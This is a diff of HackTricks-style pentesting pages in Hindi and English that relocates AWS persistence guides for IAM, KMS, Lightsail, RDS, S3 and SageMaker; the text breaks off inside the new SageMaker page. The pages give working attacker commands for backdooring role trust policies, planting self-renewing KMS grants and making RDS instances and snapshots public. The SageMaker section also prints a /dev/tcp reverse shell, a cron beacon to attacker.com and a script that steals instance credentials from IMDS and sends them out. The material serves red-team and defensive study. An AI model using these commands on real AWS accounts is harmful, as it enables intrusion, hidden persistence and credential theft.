LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
|
||||
NotificationTargetARN:
|
||||
Ref: stealthy-lifecycle-hook
|
||||
RoleARN:
|
||||
Fn::GetAtt:
|
||||
- AWSEBAutoScalingGroup
|
||||
- Arn' > stealthy_lifecycle_hook.yaml
|
||||
|
||||
# Attacker applies the new environment configuration
|
||||
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,47 +0,0 @@
|
||||
# AWS - IAM Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
अधिक जानकारी के लिए पहुँचें:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### सामान्य IAM स्थिरता
|
||||
|
||||
- एक उपयोगकर्ता बनाएं
|
||||
- एक नियंत्रित उपयोगकर्ता को एक विशेष समूह में जोड़ें
|
||||
- एक्सेस कुंजी बनाएं (नए उपयोगकर्ता या सभी उपयोगकर्ताओं की)
|
||||
- नियंत्रित उपयोगकर्ताओं/समूहों को अतिरिक्त अनुमतियाँ दें (संलग्न नीतियाँ या इनलाइन नीतियाँ)
|
||||
- MFA को निष्क्रिय करें / अपना खुद का MFA उपकरण जोड़ें
|
||||
- एक भूमिका श्रृंखला जुग्गलिंग स्थिति बनाएं (इस पर अधिक जानकारी नीचे STS स्थिरता में)
|
||||
|
||||
### बैकडोर भूमिका ट्रस्ट नीतियाँ
|
||||
|
||||
आप एक ट्रस्ट नीति में बैकडोर कर सकते हैं ताकि आप इसे एक बाहरी संसाधन के लिए मान लें जो आपके द्वारा नियंत्रित है (या सभी के लिए):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### बैकडोर नीति संस्करण
|
||||
|
||||
एक नीति को उसके अंतिम संस्करण में नहीं, बल्कि एक संस्करण में व्यवस्थापक अनुमतियाँ दें (अंतिम संस्करण को वैध दिखना चाहिए), फिर उस नीति के संस्करण को एक नियंत्रित उपयोगकर्ता/समूह को सौंपें।
|
||||
|
||||
### बैकडोर / पहचान प्रदाता बनाना
|
||||
|
||||
यदि खाता पहले से ही एक सामान्य पहचान प्रदाता (जैसे Github) पर भरोसा कर रहा है, तो विश्वास की शर्तों को बढ़ाया जा सकता है ताकि हमलावर उनका दुरुपयोग कर सके।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,47 @@
|
||||
# AWS - IAM Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### सामान्य IAM Persistence
|
||||
|
||||
- एक user बनाएं
|
||||
- किसी controlled user को एक privileged group में जोड़ें
|
||||
- access keys बनाएं (नए user के या सभी users के लिए)
|
||||
- controlled users/groups को अतिरिक्त permissions दें (attached policies या inline policies के माध्यम से)
|
||||
- MFA अक्षम करें / अपना MFA device जोड़ें
|
||||
- Role Chain Juggling स्थिति बनाएं (नीचे STS persistence में अधिक जानकारी)
|
||||
|
||||
### Backdoor Role Trust Policies
|
||||
|
||||
आप एक trust policy में backdoor जोड़ सकते हैं ताकि आप इसे अपने द्वारा नियंत्रित external resource के लिए assume कर सकें (या सभी के लिए):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Backdoor Policy Version
|
||||
|
||||
एक policy के किसी पुराने version में Administrator permissions दें (आखिरी version को वैध दिखना चाहिए), फिर उस version को नियंत्रित user/group को असाइन करें।
|
||||
|
||||
### Backdoor / Create Identity Provider
|
||||
|
||||
यदि account पहले से ही किसी सामान्य identity provider (जैसे Github) पर भरोसा करता है, तो trust की शर्तें बढ़ा दी जा सकती हैं ताकि attacker उनका दुरुपयोग कर सके।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,37 +0,0 @@
|
||||
# AWS - KMS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### KMS नीतियों के माध्यम से पहुँच प्रदान करें
|
||||
|
||||
एक हमलावर **`kms:PutKeyPolicy`** अनुमति का उपयोग करके एक कुंजी को अपने नियंत्रण में एक उपयोगकर्ता या यहां तक कि एक बाहरी खाते को **पहुँच देने** के लिए उपयोग कर सकता है। अधिक जानकारी के लिए [**KMS Privesc पृष्ठ**](../aws-privilege-escalation/aws-kms-privesc.md) देखें।
|
||||
|
||||
### शाश्वत अनुदान
|
||||
|
||||
अनुदान एक विशिष्ट कुंजी पर किसी प्रिंसिपल को कुछ अनुमतियाँ देने का एक और तरीका है। यह संभव है कि एक अनुदान दिया जाए जो एक उपयोगकर्ता को अनुदान बनाने की अनुमति देता है। इसके अलावा, एक उपयोगकर्ता के पास एक ही कुंजी पर कई अनुदान (यहां तक कि समान) हो सकते हैं।
|
||||
|
||||
इसलिए, एक उपयोगकर्ता के पास सभी अनुमतियों के साथ 10 अनुदान हो सकते हैं। हमलावर को इसे लगातार मॉनिटर करना चाहिए। और यदि किसी बिंदु पर 1 अनुदान हटा दिया जाता है, तो अन्य 10 उत्पन्न किए जाने चाहिए।
|
||||
|
||||
(हम 10 का उपयोग कर रहे हैं और 2 का नहीं ताकि यह पता चल सके कि एक अनुदान हटा दिया गया था जबकि उपयोगकर्ता के पास अभी भी कुछ अनुदान हैं)
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> एक ग्रांट केवल इस से अनुमतियाँ दे सकता है: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,37 @@
|
||||
# AWS - KMS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Grant acces via KMS policies
|
||||
|
||||
एक attacker **`kms:PutKeyPolicy`** permission का उपयोग करके किसी key पर अपने नियंत्रण वाले user या यहां तक कि external account को **give access** दे सकता है। अधिक जानकारी के लिए [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) देखें।
|
||||
|
||||
### Eternal Grant
|
||||
|
||||
Grants एक और तरीका हैं जिससे किसी principal को किसी specific key पर कुछ permissions दिए जा सकते हैं। यह संभव है कि किसी user को ऐसे grant दिए जाएं जो user को नए grants बनाने की अनुमति दें। इसके अलावा, एक user के पास एक ही key पर कई grants (यहां तक कि समान भी) हो सकते हैं।
|
||||
|
||||
इसलिए, संभव है कि किसी user के पास सभी permissions वाले 10 grants हों। attacker को इसे लगातार मॉनिटर करना चाहिए। और अगर किसी बिंदु पर 1 grant हटा दिया जाता है तो तुरंत और 10 generate किए जाने चाहिए।
|
||||
|
||||
(हम 10 का उपयोग 2 की बजाय इसलिए कर रहे हैं ताकि यह पता चल सके कि जब user के पास अभी भी कुछ grant मौजूद हों तब भी एक grant हटा दिया गया था)
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> A grant केवल इन permissions ही दे सकता है: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,33 +0,0 @@
|
||||
# AWS - Lightsail Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### डाउनलोड इंस्टेंस SSH कुंजी और DB पासवर्ड
|
||||
|
||||
वे शायद नहीं बदले जाएंगे इसलिए उन्हें रखना स्थिरता के लिए एक अच्छा विकल्प है
|
||||
|
||||
### बैकडोर इंस्टेंस
|
||||
|
||||
एक हमलावर इंस्टेंस तक पहुंच प्राप्त कर सकता है और उन्हें बैकडोर कर सकता है:
|
||||
|
||||
- उदाहरण के लिए एक पारंपरिक **rootkit** का उपयोग करना
|
||||
- एक नया **public SSH key** जोड़ना
|
||||
- बैकडोर के साथ पोर्ट नॉकिंग के साथ एक पोर्ट को उजागर करना
|
||||
|
||||
### DNS स्थिरता
|
||||
|
||||
यदि डोमेन कॉन्फ़िगर किए गए हैं:
|
||||
|
||||
- अपने IP की ओर इशारा करने वाला एक उपडोमेन बनाएं ताकि आपके पास **subdomain takeover** हो
|
||||
- डोमेन से **emails** भेजने की अनुमति देने वाला **SPF** रिकॉर्ड बनाएं
|
||||
- **मुख्य डोमेन IP को अपने खुद के IP पर कॉन्फ़िगर करें** और अपने IP से वैध IPs के लिए **MitM** करें
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,33 @@
|
||||
# AWS - Lightsail Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### इंस्टेंस SSH keys और DB पासवर्ड डाउनलोड करें
|
||||
|
||||
वे शायद बदले नहीं जाएंगे, इसलिए उन्हें रखना persistence के लिए एक अच्छा विकल्प है
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
एक attacker instances तक access प्राप्त कर सकता है और उन्हें backdoor कर सकता है:
|
||||
|
||||
- उदाहरण के लिए पारंपरिक **rootkit** का उपयोग करके
|
||||
- एक नया **public SSH key** जोड़ना
|
||||
- port knocking और backdoor का उपयोग कर एक पोर्ट expose करना
|
||||
|
||||
### DNS persistence
|
||||
|
||||
यदि domains कॉन्फ़िगर किए गए हैं:
|
||||
|
||||
- अपने IP की ओर point करने वाला एक subdomain बनाएं ताकि आपको **subdomain takeover** मिल सके
|
||||
- domain से **emails** भेजने की अनुमति देने वाला **SPF** record बनाएं
|
||||
- मुख्य domain IP को अपने IP पर कॉन्फ़िगर करें और अपने IP से legit ones पर **MitM** करें
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,27 +0,0 @@
|
||||
# AWS - RDS स्थिरता
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### इंस्टेंस को सार्वजनिक रूप से सुलभ बनाएं: `rds:ModifyDBInstance`
|
||||
|
||||
इस अनुमति के साथ एक हमलावर **एक मौजूदा RDS इंस्टेंस को सार्वजनिक सुलभता सक्षम करने के लिए संशोधित कर सकता है**।
|
||||
```bash
|
||||
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
|
||||
```
|
||||
### DB के अंदर एक एडमिन यूजर बनाएं
|
||||
|
||||
एक हमलावर बस **DB के अंदर एक यूजर बना सकता है** ताकि अगर मास्टर यूजर का पासवर्ड बदल भी दिया जाए तो वह **डेटाबेस तक पहुंच नहीं खोता**।
|
||||
|
||||
### स्नैपशॉट को सार्वजनिक बनाएं
|
||||
```bash
|
||||
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,27 @@
|
||||
# AWS - RDS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### इंस्टेंस को सार्वजनिक रूप से सुलभ बनाना: `rds:ModifyDBInstance`
|
||||
|
||||
इस अनुमति वाले attacker **मौजूदा RDS इंस्टेंस को सार्वजनिक रूप से सुलभ करने के लिए संशोधित कर सकता है**।
|
||||
```bash
|
||||
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
|
||||
```
|
||||
### DB के अंदर एक admin user बनाएं
|
||||
|
||||
एक attacker बस **DB के अंदर एक user बना सकता है** ताकि भले ही master users password बदल दिया जाए, वह **database तक अपनी पहुँच खो न दे**।
|
||||
|
||||
### Snapshot को public करें
|
||||
```bash
|
||||
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,25 +0,0 @@
|
||||
# AWS - S3 Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### KMS Client-Side Encryption
|
||||
|
||||
जब एन्क्रिप्शन प्रक्रिया पूरी हो जाती है, तो उपयोगकर्ता KMS API का उपयोग करके एक नया कुंजी उत्पन्न करेगा (`aws kms generate-data-key`) और वह **उत्पन्न एन्क्रिप्टेड कुंजी को फ़ाइल के मेटाडेटा के अंदर स्टोर करेगा** ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) ताकि जब डिक्रिप्शन हो, तो वह इसे फिर से KMS का उपयोग करके डिक्रिप्ट कर सके:
|
||||
|
||||
<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
इसलिए, एक हमलावर इस कुंजी को मेटाडेटा से प्राप्त कर सकता है और KMS के साथ डिक्रिप्ट कर सकता है (`aws kms decrypt`) ताकि वह जानकारी को एन्क्रिप्ट करने के लिए उपयोग की गई कुंजी प्राप्त कर सके। इस तरह, हमलावर के पास एन्क्रिप्शन कुंजी होगी और यदि उस कुंजी का उपयोग अन्य फ़ाइलों को एन्क्रिप्ट करने के लिए किया जाता है, तो वह इसका उपयोग कर सकेगा।
|
||||
|
||||
### Using S3 ACLs
|
||||
|
||||
हालांकि आमतौर पर बाल्टियों के ACLs बंद होते हैं, एक हमलावर जिसके पास पर्याप्त विशेषाधिकार हैं, उनका दुरुपयोग कर सकता है (यदि सक्षम हैं या यदि हमलावर उन्हें सक्षम कर सकता है) S3 बाल्टी तक पहुंच बनाए रखने के लिए।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,25 @@
|
||||
# AWS - S3 Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### KMS Client-Side Encryption
|
||||
|
||||
एन्क्रिप्शन प्रक्रिया पूरी होने पर उपयोगकर्ता KMS API का उपयोग करके एक नया key जनरेट करेगा (`aws kms generate-data-key`) और वह फ़ाइल के metadata के अंदर जनरेट की गई एन्क्रिप्टेड कुंजी को **संग्रहित करेगा** ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) ताकि जब फ़ाइल डिक्रिप्ट की जाए तो इसे KMS का उपयोग करके फिर से डिक्रिप्ट किया जा सके:
|
||||
|
||||
<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
इसलिए, attacker metadata से इस कुंजी को प्राप्त कर सकता है और KMS (`aws kms decrypt`) के साथ इसे डिक्रिप्ट करके उस कुंजी को हासिल कर सकता है जिसका उपयोग जानकारी को एन्क्रिप्ट करने में किया गया था। इस तरह attacker के पास एन्क्रिप्शन कुंजी आ जाएगी और यदि उस कुंजी का पुन: उपयोग अन्य फ़ाइलों को एन्क्रिप्ट करने के लिए किया गया है तो attacker उसका उपयोग कर सकेगा।
|
||||
|
||||
### Using S3 ACLs
|
||||
|
||||
हालाँकि सामान्यतः buckets की ACLs disabled रहती हैं, पर्याप्त privileges वाला attacker उनकी दुरुपयोग कर सकता है (यदि वे enabled हों या attacker उन्हें enable कर सके) ताकि वह S3 bucket तक अपनी पहुँच बनाए रख सके।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,158 +0,0 @@
|
||||
# Aws Sagemaker Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Overview of Persistence Techniques
|
||||
|
||||
यह अनुभाग SageMaker में स्थिरता प्राप्त करने के तरीकों को रेखांकित करता है, जिसमें Lifecycle Configurations (LCCs) का दुरुपयोग करना शामिल है, जैसे कि रिवर्स शेल, क्रॉन जॉब, IMDS के माध्यम से क्रेडेंशियल चोरी, और SSH बैकडोर। ये स्क्रिप्ट इंस्टेंस के IAM भूमिका के साथ चलती हैं और पुनरारंभ के दौरान स्थायी रह सकती हैं। अधिकांश तकनीकों के लिए आउटबाउंड नेटवर्क एक्सेस की आवश्यकता होती है, लेकिन AWS नियंत्रण Plane पर सेवाओं का उपयोग करने से भी सफलता मिल सकती है यदि वातावरण 'VPC-only' मोड में है।
|
||||
#### Note: SageMaker नोटबुक इंस्टेंस मूल रूप से मशीन लर्निंग कार्यभार के लिए विशेष रूप से कॉन्फ़िगर की गई प्रबंधित EC2 इंस्टेंस हैं।
|
||||
|
||||
## Required Permissions
|
||||
* Notebook Instances:
|
||||
```
|
||||
sagemaker:CreateNotebookInstanceLifecycleConfig
|
||||
sagemaker:UpdateNotebookInstanceLifecycleConfig
|
||||
sagemaker:CreateNotebookInstance
|
||||
sagemaker:UpdateNotebookInstance
|
||||
```
|
||||
* स्टूडियो एप्लिकेशन:
|
||||
```
|
||||
sagemaker:CreateStudioLifecycleConfig
|
||||
sagemaker:UpdateStudioLifecycleConfig
|
||||
sagemaker:UpdateUserProfile
|
||||
sagemaker:UpdateSpace
|
||||
sagemaker:UpdateDomain
|
||||
```
|
||||
## नोटबुक उदाहरणों पर जीवनचक्र कॉन्फ़िगरेशन सेट करें
|
||||
|
||||
### उदाहरण AWS CLI कमांड:
|
||||
```bash
|
||||
# Create Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-notebook-instance-lifecycle-config \
|
||||
--notebook-instance-lifecycle-config-name attacker-lcc \
|
||||
--on-start Content=$(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Attach Lifecycle Configuration to Notebook Instance*
|
||||
|
||||
aws sagemaker update-notebook-instance \
|
||||
--notebook-instance-name victim-instance \
|
||||
--lifecycle-config-name attacker-lcc
|
||||
```
|
||||
## SageMaker स्टूडियो पर जीवनचक्र कॉन्फ़िगरेशन सेट करें
|
||||
|
||||
जीवनचक्र कॉन्फ़िगरेशन को विभिन्न स्तरों पर और SageMaker स्टूडियो के भीतर विभिन्न ऐप प्रकारों के लिए जोड़ा जा सकता है।
|
||||
|
||||
### स्टूडियो डोमेन स्तर (सभी उपयोगकर्ता)
|
||||
```bash
|
||||
# Create Studio Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-studio-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Apply LCC to entire Studio Domain*
|
||||
|
||||
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
### स्टूडियो स्पेस स्तर (व्यक्तिगत या साझा स्पेस)
|
||||
```bash
|
||||
# Update SageMaker Studio Space to attach LCC*
|
||||
|
||||
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
## Studio Application Lifecycle Configurations के प्रकार
|
||||
|
||||
Lifecycle configurations को विशेष रूप से विभिन्न SageMaker Studio एप्लिकेशन प्रकारों पर लागू किया जा सकता है:
|
||||
* JupyterServer: Jupyter सर्वर स्टार्टअप के दौरान स्क्रिप्ट चलाता है, जो रिवर्स शेल और क्रॉन जॉब्स जैसे पर्सिस्टेंस मैकेनिज्म के लिए आदर्श है।
|
||||
* KernelGateway: कर्नेल गेटवे ऐप लॉन्च के दौरान निष्पादित होता है, प्रारंभिक सेटअप या स्थायी पहुंच के लिए उपयोगी है।
|
||||
* CodeEditor: कोड संपादक (Code-OSS) पर लागू होता है, जो कोड संपादन सत्रों की शुरुआत पर निष्पादित होने वाली स्क्रिप्टों को सक्षम करता है।
|
||||
|
||||
### प्रत्येक प्रकार के लिए उदाहरण कमांड:
|
||||
|
||||
### JupyterServer
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-jupyter-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
```
|
||||
### KernelGateway
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
|
||||
--studio-lifecycle-config-app-type KernelGateway \
|
||||
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
|
||||
```
|
||||
### CodeEditor
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-codeeditor-lcc \
|
||||
--studio-lifecycle-config-app-type CodeEditor \
|
||||
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
|
||||
```
|
||||
### Critical Info:
|
||||
* डोमेन या स्पेस स्तर पर LCCs को संलग्न करना सभी उपयोगकर्ताओं या अनुप्रयोगों को प्रभावित करता है जो दायरे में हैं।
|
||||
* उच्च अनुमतियों की आवश्यकता होती है (sagemaker:UpdateDomain, sagemaker:UpdateSpace) जो आमतौर पर स्पेस स्तर पर डोमेन स्तर की तुलना में अधिक व्यावहारिक होती हैं।
|
||||
* नेटवर्क-स्तरीय नियंत्रण (जैसे, सख्त ईग्रेस फ़िल्टरिंग) सफल रिवर्स शेल या डेटा एक्सफिल्ट्रेशन को रोक सकते हैं।
|
||||
|
||||
## Reverse Shell via Lifecycle Configuration
|
||||
|
||||
SageMaker Lifecycle Configurations (LCCs) कस्टम स्क्रिप्ट्स को निष्पादित करते हैं जब नोटबुक उदाहरण शुरू होते हैं। अनुमतियों के साथ एक हमलावर एक स्थायी रिवर्स शेल स्थापित कर सकता है।
|
||||
|
||||
### Payload Example:
|
||||
```
|
||||
#!/bin/bash
|
||||
ATTACKER_IP="<ATTACKER_IP>"
|
||||
ATTACKER_PORT="<ATTACKER_PORT>"
|
||||
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
|
||||
```
|
||||
## Cron Job Persistence via Lifecycle Configuration
|
||||
|
||||
एक हमलावर LCC स्क्रिप्ट के माध्यम से क्रोन जॉब्स इंजेक्ट कर सकता है, जिससे दुर्भावनापूर्ण स्क्रिप्ट या कमांड का आवधिक निष्पादन सुनिश्चित होता है, जिससे छिपी हुई स्थिरता सक्षम होती है।
|
||||
|
||||
### Payload Example:
|
||||
```
|
||||
#!/bin/bash
|
||||
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
|
||||
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
|
||||
CRON_JOB="*/30 * * * * $CRON_CMD"
|
||||
|
||||
mkdir -p /home/ec2-user/SageMaker/.local_tasks
|
||||
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
|
||||
chmod +x $PAYLOAD_PATH
|
||||
|
||||
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
|
||||
```
|
||||
## Credential Exfiltration via IMDS (v1 & v2)
|
||||
|
||||
Lifecycle configurations can query the Instance Metadata Service (IMDS) to retrieve IAM credentials and exfiltrate them to an attacker-controlled location.
|
||||
|
||||
### Payload Example:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
|
||||
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
|
||||
|
||||
# Exfiltrate via S3*
|
||||
|
||||
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
|
||||
|
||||
# Alternatively, exfiltrate via HTTP POST*
|
||||
|
||||
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,230 @@
|
||||
# AWS - SageMaker Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Persistence Techniques का अवलोकन
|
||||
|
||||
यह अनुभाग SageMaker में Persistence प्राप्त करने के तरीकों को बताता है, जिनमें Lifecycle Configurations (LCCs) का दुरुपयोग करके reverse shells, cron jobs, credential theft via IMDS, और SSH backdoors शामिल हैं। ये scripts instance के IAM role के साथ चलते हैं और restarts के बाद भी persist रह सकते हैं। अधिकांश techniques को outbound network access की आवश्यकता होती है, लेकिन AWS control plane की सेवाओं का उपयोग तब भी सफल हो सकता है यदि environment 'VPC-only" mode में हो।
|
||||
|
||||
> [!TIP]
|
||||
> नोट: SageMaker notebook instances मूलतः managed EC2 instances हैं जो विशेष रूप से machine learning workloads के लिए कॉन्फ़िगर किए गए हैं।
|
||||
|
||||
## आवश्यक अनुमतियाँ
|
||||
* Notebook Instances:
|
||||
```
|
||||
sagemaker:CreateNotebookInstanceLifecycleConfig
|
||||
sagemaker:UpdateNotebookInstanceLifecycleConfig
|
||||
sagemaker:CreateNotebookInstance
|
||||
sagemaker:UpdateNotebookInstance
|
||||
```
|
||||
* Studio Applications:
|
||||
```
|
||||
sagemaker:CreateStudioLifecycleConfig
|
||||
sagemaker:UpdateStudioLifecycleConfig
|
||||
sagemaker:UpdateUserProfile
|
||||
sagemaker:UpdateSpace
|
||||
sagemaker:UpdateDomain
|
||||
```
|
||||
## नोटबुक इंस्टेंस पर लाइफसाइकल कॉन्फ़िगरेशन सेट करें
|
||||
|
||||
### उदाहरण AWS CLI कमांड:
|
||||
```bash
|
||||
# Create Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-notebook-instance-lifecycle-config \
|
||||
--notebook-instance-lifecycle-config-name attacker-lcc \
|
||||
--on-start Content=$(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Attach Lifecycle Configuration to Notebook Instance*
|
||||
|
||||
aws sagemaker update-notebook-instance \
|
||||
--notebook-instance-name victim-instance \
|
||||
--lifecycle-config-name attacker-lcc
|
||||
```
|
||||
## SageMaker Studio पर Lifecycle Configuration सेट करें
|
||||
|
||||
Lifecycle Configurations को SageMaker Studio के भीतर विभिन्न स्तरों और अलग-अलग ऐप प्रकारों पर जोड़ा जा सकता है।
|
||||
|
||||
### Studio Domain स्तर (सभी उपयोगकर्ता)
|
||||
```bash
|
||||
